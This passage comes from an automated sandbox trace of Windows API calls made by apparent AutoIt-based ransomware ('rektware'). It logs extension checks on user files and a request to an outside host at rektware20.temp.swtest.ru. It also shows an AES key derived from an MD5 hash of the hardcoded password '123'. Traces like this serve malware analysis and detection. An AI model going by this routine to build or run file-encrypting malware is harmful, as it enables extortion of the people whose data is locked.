lpString2=".xd", cchCount2=3) returned 3 [0069.971] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Documents\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.971] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Documents\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.971] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Documents\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.971] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Documents\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.971] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Documents\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.971] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Documents\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.971] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Documents\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.971] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Documents\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.971] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Documents\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.971] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ocuments\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.971] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cuments\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.971] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="uments\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.971] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ments\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.971] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ents\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.971] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nts\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.971] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ts\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.971] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.971] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.971] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="desktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.971] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="esktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.971] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.971] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ktop.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.971] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="top.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.971] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="op.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.971] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p.ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.972] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0069.972] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ini", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0069.972] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0069.972] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0069.972] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0069.972] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0069.972] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0069.972] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0069.972] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0069.972] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0069.972] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620d60, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620d60, lpdwBufferLength=0x130ee1c) returned 1 [0069.972] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0069.972] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0069.972] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0069.982] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0069.982] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0069.982] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0069.982] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16291e0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16291e0*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0069.982] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629200, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629200*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0069.982] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0069.993] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0069.993] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0069.993] CloseHandle (hObject=0x0) returned 0 [0069.993] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.993] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\desktop.ini", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0069.993] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0069.993] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.993] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0069.993] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.993] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0069.993] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0069.993] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.993] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0069.994] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.994] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.994] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0069.994] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0069.994] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0069.994] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.994] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.994] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0069.994] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0069.994] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0069.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0069.994] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0069.995] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0069.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0069.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e1b0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0069.997] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0069.997] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aade0) returned 1 [0069.998] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.998] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.998] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0069.998] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0069.998] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0069.998] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.998] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.998] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.998] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0069.998] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0069.998] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0069.998] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0069.998] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.998] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.998] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0069.998] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0069.998] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.999] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.999] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0069.999] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0069.999] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0069.999] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0069.999] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0069.999] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0069.999] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0069.999] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0069.999] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0069.999] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0069.999] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.999] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0069.999] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0069.999] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0069.999] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0069.999] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0069.999] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0069.999] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0070.000] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621360, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0070.000] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0070.000] CryptCreateHash (in: hProv=0x17aade0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0070.000] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.000] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.000] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.000] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.000] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0070.000] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16294f0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0070.000] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0070.000] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.000] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0070.000] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16294d0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0070.001] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.001] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.001] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.001] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.001] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0070.001] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x16217f8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0070.001] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0070.001] CryptHashData (hHash=0x164c270, pbData=0x1629450, dwDataLen=0x3, dwFlags=0x1) returned 1 [0070.001] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.001] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.001] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.007] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.007] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.008] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0070.008] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0070.008] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.008] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0070.008] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621630, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0070.008] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0070.008] CryptDeriveKey (in: hProv=0x17aade0, Algid=0x6610, hBaseData=0x164c270, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c630) returned 1 [0070.008] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.008] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.008] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.008] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.008] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.008] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0070.008] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0070.009] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0070.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0070.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e030, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0070.009] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0070.009] CryptDestroyHash (hHash=0x164c270) returned 1 [0070.009] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0070.009] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0070.010] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 